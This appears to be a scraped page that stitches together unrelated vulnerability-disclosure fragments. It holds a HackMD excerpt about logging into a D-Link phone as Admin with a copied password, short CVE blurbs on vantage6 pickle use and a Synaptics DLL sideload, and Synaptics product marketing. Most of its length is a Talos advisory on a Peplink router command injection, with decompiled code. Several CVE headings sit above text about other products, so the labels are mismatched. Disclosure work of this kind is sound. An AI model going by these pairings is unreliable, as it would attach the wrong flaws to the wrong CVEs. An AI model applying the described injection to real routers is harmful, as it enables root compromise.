!\[\](https://hackmd.io/\_uploads/r1tiGxLa3.png) Copy the password logout the portal and use the password to login as the user Admin, and WE ARE IN! <div style="width:100%;height:0;padding-bottom:56%;position:relative;"><iframe src="https://giphy.com/embed/WprAwhmBU4NlauH4nP" width="100%" height="100%" style="position:absolute" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>

CVE-2023-43960: DLINK DPH-400SE - Exposure of Sensitive Information to an Unauthorized Actor - HackMD

vantage6 is privacy preserving federated learning infrastructure. Versions 4.0.2 and prior use pickle, which has known security issue, as a default serialization module but that has known security issues. All users of vantage6 that post tasks with the default serialization are affected. No patches are currently available, but users may specify JSON serialization as a workaround.

CVE-2023-23930

It is possible to sideload a compromised DLL during the installation at elevated privilege.

**Synaptics Resonate Wins Best-of-Show Award: Sensors**

Synaptics' Resonate wins Best in Show for the Sensor category for its audio solution for embedded system design.

Read More

**Synaptics Triple Combo 2 wins Best of Show Award 2023**

Embedded Computing Design selects SYN4382 Triple Combo 2 as a best in show winner in the connectivity category.

Read More

**Triple Combo (SYN4381) Wins Product of the Year: IoT Platforms**

Learn why Synaptics' Triple Combo wireless solution was selected as Electronics Products Magazine's "Product of the Year for IoT Platforms"

Read More

CVE-2023-4936: Engineering Exceptional Experiences | Synaptics

An OS command injection vulnerability exists in the data.cgi xfer_dns functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A specially crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the data.cgi xfer\_dns functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A specially crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Peplink Surf SOHO HW1 v6.3.5 (in QEMU)

**PRODUCT URLS**

Surf SOHO HW1 - https://www.peplink.com/products/soho-series-surf/

**CVSSv3 SCORE**

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Surf series of SOHO routers is marketed as an entry-level router for use at home. It provides networking via USB cellular modems, ethernet and Wi-Fi. The device can host a VPN and supports Wi-Fi meshing.

The device hosts a web interface for administrative configuration. An OS command injection vulnerability exists in the handling of requests destined for the /cgi-bin/MANGA/data.cgi endpoint, which are intended to interact with the DNS zone transfer operations. This endpoint is accessible only after successfully authenticating as a user with write privileges on the device. The HTTP POST request must have its parameter option set to xfer_dns and parameter step set to view_domain in order to reach the vulnerable code.

The vulnerable function is located in the file data.cgi at offset 0x491814 in firmware version 6.3.5, and we refer to it as view_domain. In order to reach it, the request first transits through a dispatcher function located at 0x491f14, which we refer to as xfer_dns. Annotated decompilations of the dispatcher function and vulnerable function are included for reference.

    int xfer_dns()
    {
        char *xfer_session = cgi_safe_param("xfer_session");
        
        // [1] This must be set to `view_domain` in order to be dispatched to the vulnerable function
        char* step = cgi_safe_param("step");  
    
        if (xfer_session[0] == 0)
        {
            fprintf(*stdout, "<%s>%s</%s>", "error", "Missing session", "error");
            return 0;
        }
        
        // [2] Observe that some parameters are subject to (a degree of) scrutiny and validation before use
        if (contains_dangerous_shell_characters(xfer_session) == 0)  
        {
            fprintf(*stdout, "<%s>%s</%s>", "error", "Unauthorized session", "error");
            return 0;
        }
    
        // [3] Dispatch code follows
        if (strcmp(step, "zone_transfer") == 0)
        {
            return zone_transfer(xfer_session);
        }
        if (strcmp(step, "status") == 0)
        {
            return status(xfer_session);
        }
        if (strcmp(step, "view_domain") == 0)
        {
            return view_domain(xfer_session, cgi_safe_param("domain"));
        }
        if (strcmp(step, "import") == 0)
        {
            return import("session");
        }
        fprintf(*stdout, "<%s>%s</%s>", "error", "Unknown step", "error");
    }
    

The dispatch functionality is relatively straightforward and is included to show that at [2] certain parameters are subject to a limited degree of scrutiny. The implementation of what we refer to as contains_dangerous_shell_characters is limited to checking whether the parameter contains grave mark, double quote or dollar sign characters. At [3] the dispatcher hands control off to the target function, which in this case is view_domain.

    int view_domain(char* xfer_session, char* domain)
    {
        char cmd[0x400] = {0};
        
        // [4] Craft the command using the unchecked, attacker-controlled domain parameter
        snprintf(&cmd, 0x400, "/usr/local/ilink/bin/dns_import view \"%s\" \"%s\" 2>/dev/null", xfer_session, domain);
        
        // [5] Execute the command with root privileges
        FILE* stream = popen(&cmd, "r");
        
        ...  // The remainder of this function is responsible for parsing the output of dns_import and is unrelated to this vulnerability
        }
    }
    

Observe that when dispatched (at [3]) the HTTP POST param domain is passed as the domain parameter to view_domain. An OS command is crafted at [4] by directly injecting the attacker-controlled domain value. Finally, at [5], the command is executed with root privileges. A properly formatted request can escape the intended command and execute arbitrary commands.

**TIMELINE**

2023-06-26 - Initial Vendor Contact  
2023-06-27 - Vendor Disclosure  
2023-10-11 - Public Release

Discovered by Matt Wiseman of Cisco Talos.